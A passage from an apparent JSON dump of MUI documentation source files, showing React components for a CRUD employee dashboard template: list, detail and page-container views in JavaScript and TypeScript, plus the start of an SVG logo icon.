placement=\"right\" enterDelay={1000}>\n            <div>\n              <IconButton size=\"small\" aria-label=\"refresh\" onClick={handleRefresh}>\n                <RefreshIcon />\n              </IconButton>\n            </div>\n          </Tooltip>\n          <Button\n            variant=\"contained\"\n            onClick={handleCreateClick}\n            startIcon={<AddIcon />}\n          >\n            Create\n          </Button>\n        </Stack>\n      }\n    >\n      <Box sx={{ flex: 1, width: '100%' }}>\n        {error ? (\n          <Box sx={{ flexGrow: 1 }}>\n            <Alert severity=\"error\">{error.message}</Alert>\n          </Box>\n        ) : (\n          <DataGrid\n            rows={rowsState.rows}\n            rowCount={rowsState.rowCount}\n            columns={columns}\n            pagination\n            sortingMode=\"server\"\n            filterMode=\"server\"\n            paginationMode=\"server\"\n            paginationModel={paginationModel}\n            onPaginationModelChange={handlePaginationModelChange}\n            sortModel={sortModel}\n            onSortModelChange={handleSortModelChange}\n            filterModel={filterModel}\n            onFilterModelChange={handleFilterModelChange}\n            disableRowSelectionOnClick\n            onRowClick={handleRowClick}\n            loading={isLoading}\n            initialState={initialState}\n            showToolbar\n            pageSizeOptions={[5, INITIAL_PAGE_SIZE, 25]}\n            sx={{\n              [`& .${gridClasses.columnHeader}, & .${gridClasses.cell}`]: {\n                outline: 'transparent',\n              },\n              [`& .${gridClasses.columnHeader}:focus-within, & .${gridClasses.cell}:focus-within`]:\n                {\n                  outline: 'none',\n                },\n              [`& .${gridClasses.row}:hover`]: {\n                cursor: 'pointer',\n              },\n            }}\n            slotProps={{\n              loadingOverlay: {\n                variant: 'circular-progress',\n                noRowsVariant: 'circular-progress',\n              },\n              baseIconButton: {\n                size: 'small',\n              },\n            }}\n          />\n        )}\n      </Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeList.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport Tooltip from '@mui/material/Tooltip';\nimport {\n  DataGrid,\n  GridActionsCellItem,\n  GridColDef,\n  GridFilterModel,\n  GridPaginationModel,\n  GridSortModel,\n  GridEventListener,\n  gridClasses,\n} from '@mui/x-data-grid';\nimport AddIcon from '@mui/icons-material/Add';\nimport RefreshIcon from '@mui/icons-material/Refresh';\nimport EditIcon from '@mui/icons-material/Edit';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport { useLocation, useNavigate, useSearchParams } from 'react-router';\nimport { useDialogs } from '../hooks/useDialogs/useDialogs';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  deleteOne as deleteEmployee,\n  getMany as getEmployees,\n  type Employee,\n} from '../data/employees';\nimport PageContainer from './PageContainer';\n\nconst INITIAL_PAGE_SIZE = 10;\n\nexport default function EmployeeList() {\n  const { pathname } = useLocation();\n  const [searchParams] = useSearchParams();\n  const navigate = useNavigate();\n\n  const dialogs = useDialogs();\n  const notifications = useNotifications();\n\n  const [paginationModel, setPaginationModel] = React.useState<GridPaginationModel>({\n    page: searchParams.get('page') ? Number(searchParams.get('page')) : 0,\n    pageSize: searchParams.get('pageSize')\n      ? Number(searchParams.get('pageSize'))\n      : INITIAL_PAGE_SIZE,\n  });\n  const [filterModel, setFilterModel] = React.useState<GridFilterModel>(\n    searchParams.get('filter')\n      ? JSON.parse(searchParams.get('filter') ?? '')\n      : { items: [] },\n  );\n  const [sortModel, setSortModel] = React.useState<GridSortModel>(\n    searchParams.get('sort') ? JSON.parse(searchParams.get('sort') ?? '') : [],\n  );\n\n  const [rowsState, setRowsState] = React.useState<{\n    rows: Employee[];\n    rowCount: number;\n  }>({\n    rows: [],\n    rowCount: 0,\n  });\n\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState<Error | null>(null);\n\n  const handlePaginationModelChange = React.useCallback(\n    (model: GridPaginationModel) => {\n      setPaginationModel(model);\n\n      searchParams.set('page', String(model.page));\n      searchParams.set('pageSize', String(model.pageSize));\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const handleFilterModelChange = React.useCallback(\n    (model: GridFilterModel) => {\n      setFilterModel(model);\n\n      if (\n        model.items.length > 0 ||\n        (model.quickFilterValues && model.quickFilterValues.length > 0)\n      ) {\n        searchParams.set('filter', JSON.stringify(model));\n      } else {\n        searchParams.delete('filter');\n      }\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const handleSortModelChange = React.useCallback(\n    (model: GridSortModel) => {\n      setSortModel(model);\n\n      if (model.length > 0) {\n        searchParams.set('sort', JSON.stringify(model));\n      } else {\n        searchParams.delete('sort');\n      }\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const listData = await getEmployees({\n        paginationModel,\n        sortModel,\n        filterModel,\n      });\n\n      setRowsState({\n        rows: listData.items,\n        rowCount: listData.itemCount,\n      });\n    } catch (listDataError) {\n      setError(listDataError as Error);\n    }\n\n    setIsLoading(false);\n  }, [paginationModel, sortModel, filterModel]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleRefresh = React.useCallback(() => {\n    if (!isLoading) {\n      loadData();\n    }\n  }, [isLoading, loadData]);\n\n  const handleRowClick = React.useCallback<GridEventListener<'rowClick'>>(\n    ({ row }) => {\n      navigate(`/employees/${row.id}`);\n    },\n    [navigate],\n  );\n\n  const handleCreateClick = React.useCallback(() => {\n    navigate('/employees/new');\n  }, [navigate]);\n\n  const handleRowEdit = React.useCallback(\n    (employee: Employee) => () => {\n      navigate(`/employees/${employee.id}/edit`);\n    },\n    [navigate],\n  );\n\n  const handleRowDelete = React.useCallback(\n    (employee: Employee) => async () => {\n      const confirmed = await dialogs.confirm(\n        `Do you wish to delete ${employee.name}?`,\n        {\n          title: `Delete employee?`,\n          severity: 'error',\n          okText: 'Delete',\n          cancelText: 'Cancel',\n        },\n      );\n\n      if (confirmed) {\n        setIsLoading(true);\n        try {\n          await deleteEmployee(Number(employee.id));\n\n          notifications.show('Employee deleted successfully.', {\n            severity: 'success',\n            autoHideDuration: 3000,\n          });\n          loadData();\n        } catch (deleteError) {\n          notifications.show(\n            `Failed to delete employee. Reason:' ${(deleteError as Error).message}`,\n            {\n              severity: 'error',\n              autoHideDuration: 3000,\n            },\n          );\n        }\n        setIsLoading(false);\n      }\n    },\n    [dialogs, notifications, loadData],\n  );\n\n  const initialState = React.useMemo(\n    () => ({\n      pagination: { paginationModel: { pageSize: INITIAL_PAGE_SIZE } },\n    }),\n    [],\n  );\n\n  const columns = React.useMemo<GridColDef[]>(\n    () => [\n      { field: 'id', headerName: 'ID' },\n      { field: 'name', headerName: 'Name', width: 140 },\n      { field: 'age', headerName: 'Age', type: 'number' },\n      {\n        field: 'joinDate',\n        headerName: 'Join date',\n        type: 'date',\n        valueGetter: (value) => value && new Date(value),\n        width: 140,\n      },\n      {\n        field: 'role',\n        headerName: 'Department',\n        type: 'singleSelect',\n        valueOptions: ['Market', 'Finance', 'Development'],\n        width: 160,\n      },\n      { field: 'isFullTime', headerName: 'Full-time', type: 'boolean' },\n      {\n        field: 'actions',\n        type: 'actions',\n        flex: 1,\n        align: 'right',\n        getActions: ({ row }) => [\n          <GridActionsCellItem\n            key=\"edit-item\"\n            icon={<EditIcon />}\n            label=\"Edit\"\n            onClick={handleRowEdit(row)}\n          />,\n          <GridActionsCellItem\n            key=\"delete-item\"\n            icon={<DeleteIcon />}\n            label=\"Delete\"\n            onClick={handleRowDelete(row)}\n          />,\n        ],\n      },\n    ],\n    [handleRowEdit, handleRowDelete],\n  );\n\n  const pageTitle = 'Employees';\n\n  return (\n    <PageContainer\n      title={pageTitle}\n      breadcrumbs={[{ title: pageTitle }]}\n      actions={\n        <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n          <Tooltip title=\"Reload data\" placement=\"right\" enterDelay={1000}>\n            <div>\n              <IconButton size=\"small\" aria-label=\"refresh\" onClick={handleRefresh}>\n                <RefreshIcon />\n              </IconButton>\n            </div>\n          </Tooltip>\n          <Button\n            variant=\"contained\"\n            onClick={handleCreateClick}\n            startIcon={<AddIcon />}\n          >\n            Create\n          </Button>\n        </Stack>\n      }\n    >\n      <Box sx={{ flex: 1, width: '100%' }}>\n        {error ? (\n          <Box sx={{ flexGrow: 1 }}>\n            <Alert severity=\"error\">{error.message}</Alert>\n          </Box>\n        ) : (\n          <DataGrid\n            rows={rowsState.rows}\n            rowCount={rowsState.rowCount}\n            columns={columns}\n            pagination\n            sortingMode=\"server\"\n            filterMode=\"server\"\n            paginationMode=\"server\"\n            paginationModel={paginationModel}\n            onPaginationModelChange={handlePaginationModelChange}\n            sortModel={sortModel}\n            onSortModelChange={handleSortModelChange}\n            filterModel={filterModel}\n            onFilterModelChange={handleFilterModelChange}\n            disableRowSelectionOnClick\n            onRowClick={handleRowClick}\n            loading={isLoading}\n            initialState={initialState}\n            showToolbar\n            pageSizeOptions={[5, INITIAL_PAGE_SIZE, 25]}\n            sx={{\n              [`& .${gridClasses.columnHeader}, & .${gridClasses.cell}`]: {\n                outline: 'transparent',\n              },\n              [`& .${gridClasses.columnHeader}:focus-within, & .${gridClasses.cell}:focus-within`]:\n                {\n                  outline: 'none',\n                },\n              [`& .${gridClasses.row}:hover`]: {\n                cursor: 'pointer',\n              },\n            }}\n            slotProps={{\n              loadingOverlay: {\n                variant: 'circular-progress',\n                noRowsVariant: 'circular-progress',\n              },\n              baseIconButton: {\n                size: 'small',\n              },\n            }}\n          />\n        )}\n      </Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeShow.js",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport EditIcon from '@mui/icons-material/Edit';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport { useNavigate, useParams } from 'react-router';\nimport dayjs from 'dayjs';\nimport { useDialogs } from '../hooks/useDialogs/useDialogs';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  deleteOne as deleteEmployee,\n  getOne as getEmployee,\n} from '../data/employees';\nimport PageContainer from './PageContainer';\n\nexport default function EmployeeShow() {\n  const { employeeId } = useParams();\n  const navigate = useNavigate();\n\n  const dialogs = useDialogs();\n  const notifications = useNotifications();\n\n  const [employee, setEmployee] = React.useState(null);\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState(null);\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const showData = await getEmployee(Number(employeeId));\n\n      setEmployee(showData);\n    } catch (showDataError) {\n      setError(showDataError);\n    }\n    setIsLoading(false);\n  }, [employeeId]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleEmployeeEdit = React.useCallback(() => {\n    navigate(`/employees/${employeeId}/edit`);\n  }, [navigate, employeeId]);\n\n  const handleEmployeeDelete = React.useCallback(async () => {\n    if (!employee) {\n      return;\n    }\n\n    const confirmed = await dialogs.confirm(\n      `Do you wish to delete ${employee.name}?`,\n      {\n        title: `Delete employee?`,\n        severity: 'error',\n        okText: 'Delete',\n        cancelText: 'Cancel',\n      },\n    );\n\n    if (confirmed) {\n      setIsLoading(true);\n      try {\n        await deleteEmployee(Number(employeeId));\n\n        navigate('/employees');\n\n        notifications.show('Employee deleted successfully.', {\n          severity: 'success',\n          autoHideDuration: 3000,\n        });\n      } catch (deleteError) {\n        notifications.show(\n          `Failed to delete employee. Reason:' ${deleteError.message}`,\n          {\n            severity: 'error',\n            autoHideDuration: 3000,\n          },\n        );\n      }\n      setIsLoading(false);\n    }\n  }, [employee, dialogs, employeeId, navigate, notifications]);\n\n  const handleBack = React.useCallback(() => {\n    navigate('/employees');\n  }, [navigate]);\n\n  const renderShow = React.useMemo(() => {\n    if (isLoading) {\n      return (\n        <Box\n          sx={{\n            flex: 1,\n            display: 'flex',\n            flexDirection: 'column',\n            alignItems: 'center',\n            justifyContent: 'center',\n            width: '100%',\n            m: 1,\n          }}\n        >\n          <CircularProgress />\n        </Box>\n      );\n    }\n    if (error) {\n      return (\n        <Box sx={{ flexGrow: 1 }}>\n          <Alert severity=\"error\">{error.message}</Alert>\n        </Box>\n      );\n    }\n\n    return employee ? (\n      <Box sx={{ flexGrow: 1, width: '100%' }}>\n        <Grid container spacing={2} sx={{ width: '100%' }}>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Name</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.name}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Age</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.age}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Join date</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {dayjs(employee.joinDate).format('MMMM D, YYYY')}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Department</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.role}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Full-time</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.isFullTime ? 'Yes' : 'No'}\n              </Typography>\n            </Paper>\n          </Grid>\n        </Grid>\n        <Divider sx={{ my: 3 }} />\n        <Stack direction=\"row\" spacing={2} sx={{ justifyContent: 'space-between' }}>\n          <Button\n            variant=\"contained\"\n            startIcon={<ArrowBackIcon />}\n            onClick={handleBack}\n          >\n            Back\n          </Button>\n          <Stack direction=\"row\" spacing={2}>\n            <Button\n              variant=\"contained\"\n              startIcon={<EditIcon />}\n              onClick={handleEmployeeEdit}\n            >\n              Edit\n            </Button>\n            <Button\n              variant=\"contained\"\n              color=\"error\"\n              startIcon={<DeleteIcon />}\n              onClick={handleEmployeeDelete}\n            >\n              Delete\n            </Button>\n          </Stack>\n        </Stack>\n      </Box>\n    ) : null;\n  }, [\n    isLoading,\n    error,\n    employee,\n    handleBack,\n    handleEmployeeEdit,\n    handleEmployeeDelete,\n  ]);\n\n  const pageTitle = `Employee ${employeeId}`;\n\n  return (\n    <PageContainer\n      title={pageTitle}\n      breadcrumbs={[\n        { title: 'Employees', path: '/employees' },\n        { title: pageTitle },\n      ]}\n    >\n      <Box sx={{ display: 'flex', flex: 1, width: '100%' }}>{renderShow}</Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeShow.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport EditIcon from '@mui/icons-material/Edit';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport { useNavigate, useParams } from 'react-router';\nimport dayjs from 'dayjs';\nimport { useDialogs } from '../hooks/useDialogs/useDialogs';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  deleteOne as deleteEmployee,\n  getOne as getEmployee,\n  type Employee,\n} from '../data/employees';\nimport PageContainer from './PageContainer';\n\nexport default function EmployeeShow() {\n  const { employeeId } = useParams();\n  const navigate = useNavigate();\n\n  const dialogs = useDialogs();\n  const notifications = useNotifications();\n\n  const [employee, setEmployee] = React.useState<Employee | null>(null);\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState<Error | null>(null);\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const showData = await getEmployee(Number(employeeId));\n\n      setEmployee(showData);\n    } catch (showDataError) {\n      setError(showDataError as Error);\n    }\n    setIsLoading(false);\n  }, [employeeId]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleEmployeeEdit = React.useCallback(() => {\n    navigate(`/employees/${employeeId}/edit`);\n  }, [navigate, employeeId]);\n\n  const handleEmployeeDelete = React.useCallback(async () => {\n    if (!employee) {\n      return;\n    }\n\n    const confirmed = await dialogs.confirm(\n      `Do you wish to delete ${employee.name}?`,\n      {\n        title: `Delete employee?`,\n        severity: 'error',\n        okText: 'Delete',\n        cancelText: 'Cancel',\n      },\n    );\n\n    if (confirmed) {\n      setIsLoading(true);\n      try {\n        await deleteEmployee(Number(employeeId));\n\n        navigate('/employees');\n\n        notifications.show('Employee deleted successfully.', {\n          severity: 'success',\n          autoHideDuration: 3000,\n        });\n      } catch (deleteError) {\n        notifications.show(\n          `Failed to delete employee. Reason:' ${(deleteError as Error).message}`,\n          {\n            severity: 'error',\n            autoHideDuration: 3000,\n          },\n        );\n      }\n      setIsLoading(false);\n    }\n  }, [employee, dialogs, employeeId, navigate, notifications]);\n\n  const handleBack = React.useCallback(() => {\n    navigate('/employees');\n  }, [navigate]);\n\n  const renderShow = React.useMemo(() => {\n    if (isLoading) {\n      return (\n        <Box\n          sx={{\n            flex: 1,\n            display: 'flex',\n            flexDirection: 'column',\n            alignItems: 'center',\n            justifyContent: 'center',\n            width: '100%',\n            m: 1,\n          }}\n        >\n          <CircularProgress />\n        </Box>\n      );\n    }\n    if (error) {\n      return (\n        <Box sx={{ flexGrow: 1 }}>\n          <Alert severity=\"error\">{error.message}</Alert>\n        </Box>\n      );\n    }\n\n    return employee ? (\n      <Box sx={{ flexGrow: 1, width: '100%' }}>\n        <Grid container spacing={2} sx={{ width: '100%' }}>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Name</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.name}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Age</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.age}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Join date</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {dayjs(employee.joinDate).format('MMMM D, YYYY')}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Department</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.role}\n              </Typography>\n            </Paper>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <Paper sx={{ px: 2, py: 1 }}>\n              <Typography variant=\"overline\">Full-time</Typography>\n              <Typography variant=\"body1\" sx={{ mb: 1 }}>\n                {employee.isFullTime ? 'Yes' : 'No'}\n              </Typography>\n            </Paper>\n          </Grid>\n        </Grid>\n        <Divider sx={{ my: 3 }} />\n        <Stack direction=\"row\" spacing={2} sx={{ justifyContent: 'space-between' }}>\n          <Button\n            variant=\"contained\"\n            startIcon={<ArrowBackIcon />}\n            onClick={handleBack}\n          >\n            Back\n          </Button>\n          <Stack direction=\"row\" spacing={2}>\n            <Button\n              variant=\"contained\"\n              startIcon={<EditIcon />}\n              onClick={handleEmployeeEdit}\n            >\n              Edit\n            </Button>\n            <Button\n              variant=\"contained\"\n              color=\"error\"\n              startIcon={<DeleteIcon />}\n              onClick={handleEmployeeDelete}\n            >\n              Delete\n            </Button>\n          </Stack>\n        </Stack>\n      </Box>\n    ) : null;\n  }, [\n    isLoading,\n    error,\n    employee,\n    handleBack,\n    handleEmployeeEdit,\n    handleEmployeeDelete,\n  ]);\n\n  const pageTitle = `Employee ${employeeId}`;\n\n  return (\n    <PageContainer\n      title={pageTitle}\n      breadcrumbs={[\n        { title: 'Employees', path: '/employees' },\n        { title: pageTitle },\n      ]}\n    >\n      <Box sx={{ display: 'flex', flex: 1, width: '100%' }}>{renderShow}</Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/PageContainer.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Breadcrumbs, { breadcrumbsClasses } from '@mui/material/Breadcrumbs';\nimport Container from '@mui/material/Container';\nimport MuiLink from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\nimport { Link } from 'react-router';\n\nconst PageContentHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'row',\n  justifyContent: 'space-between',\n  gap: theme.spacing(2),\n}));\n\nconst PageHeaderBreadcrumbs = styled(Breadcrumbs)(({ theme }) => ({\n  margin: theme.spacing(1, 0),\n  [`& .${breadcrumbsClasses.separator}`]: {\n    color: (theme.vars || theme).palette.action.disabled,\n    margin: 1,\n  },\n  [`& .${breadcrumbsClasses.ol}`]: {\n    alignItems: 'center',\n  },\n}));\n\nconst PageHeaderToolbar = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'row',\n  gap: theme.spacing(1),\n  // Ensure the toolbar is always on the right side, even after wrapping\n  marginLeft: 'auto',\n}));\n\nfunction PageContainer(props) {\n  const { children, breadcrumbs, title, actions = null } = props;\n\n  return (\n    <Container sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n      <Stack sx={{ flex: 1, my: 2 }} spacing={2}>\n        <Stack>\n          <PageHeaderBreadcrumbs\n            aria-label=\"breadcrumb\"\n            separator={<NavigateNextRoundedIcon fontSize=\"small\" />}\n          >\n            {breadcrumbs\n              ? breadcrumbs.map((breadcrumb, index) => {\n                  return breadcrumb.path ? (\n                    <MuiLink\n                      key={index}\n                      component={Link}\n                      underline=\"hover\"\n                      color=\"inherit\"\n                      to={breadcrumb.path}\n                    >\n                      {breadcrumb.title}\n                    </MuiLink>\n                  ) : (\n                    <Typography\n                      key={index}\n                      sx={{ color: 'text.primary', fontWeight: 600 }}\n                    >\n                      {breadcrumb.title}\n                    </Typography>\n                  );\n                })\n              : null}\n          </PageHeaderBreadcrumbs>\n          <PageContentHeader>\n            {title ? <Typography variant=\"h4\">{title}</Typography> : null}\n            <PageHeaderToolbar>{actions}</PageHeaderToolbar>\n          </PageContentHeader>\n        </Stack>\n        <Box sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n          {children}\n        </Box>\n      </Stack>\n    </Container>\n  );\n}\n\nPageContainer.propTypes = {\n  actions: PropTypes.node,\n  breadcrumbs: PropTypes.arrayOf(\n    PropTypes.shape({\n      path: PropTypes.string,\n      title: PropTypes.string.isRequired,\n    }),\n  ),\n  children: PropTypes.node,\n  title: PropTypes.string,\n};\n\nexport default PageContainer;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/PageContainer.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Breadcrumbs, { breadcrumbsClasses } from '@mui/material/Breadcrumbs';\nimport Container, { ContainerProps } from '@mui/material/Container';\nimport MuiLink from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\nimport { Link } from 'react-router';\n\nconst PageContentHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'row',\n  justifyContent: 'space-between',\n  gap: theme.spacing(2),\n}));\n\nconst PageHeaderBreadcrumbs = styled(Breadcrumbs)(({ theme }) => ({\n  margin: theme.spacing(1, 0),\n  [`& .${breadcrumbsClasses.separator}`]: {\n    color: (theme.vars || theme).palette.action.disabled,\n    margin: 1,\n  },\n  [`& .${breadcrumbsClasses.ol}`]: {\n    alignItems: 'center',\n  },\n}));\n\nconst PageHeaderToolbar = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'row',\n  gap: theme.spacing(1),\n  // Ensure the toolbar is always on the right side, even after wrapping\n  marginLeft: 'auto',\n}));\n\nexport interface Breadcrumb {\n  title: string;\n  path?: string;\n}\nexport interface PageContainerProps extends ContainerProps {\n  children?: React.ReactNode;\n  title?: string;\n  breadcrumbs?: Breadcrumb[];\n  actions?: React.ReactNode;\n}\n\nexport default function PageContainer(props: PageContainerProps) {\n  const { children, breadcrumbs, title, actions = null } = props;\n\n  return (\n    <Container sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n      <Stack sx={{ flex: 1, my: 2 }} spacing={2}>\n        <Stack>\n          <PageHeaderBreadcrumbs\n            aria-label=\"breadcrumb\"\n            separator={<NavigateNextRoundedIcon fontSize=\"small\" />}\n          >\n            {breadcrumbs\n              ? breadcrumbs.map((breadcrumb, index) => {\n                  return breadcrumb.path ? (\n                    <MuiLink\n                      key={index}\n                      component={Link}\n                      underline=\"hover\"\n                      color=\"inherit\"\n                      to={breadcrumb.path}\n                    >\n                      {breadcrumb.title}\n                    </MuiLink>\n                  ) : (\n                    <Typography\n                      key={index}\n                      sx={{ color: 'text.primary', fontWeight: 600 }}\n                    >\n                      {breadcrumb.title}\n                    </Typography>\n                  );\n                })\n              : null}\n          </PageHeaderBreadcrumbs>\n          <PageContentHeader>\n            {title ? <Typography variant=\"h4\">{title}</Typography> : null}\n            <PageHeaderToolbar>{actions}</PageHeaderToolbar>\n          </PageContentHeader>\n        </Stack>\n        <Box sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n          {children}\n        </Box>\n      </Stack>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/SitemarkIcon.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 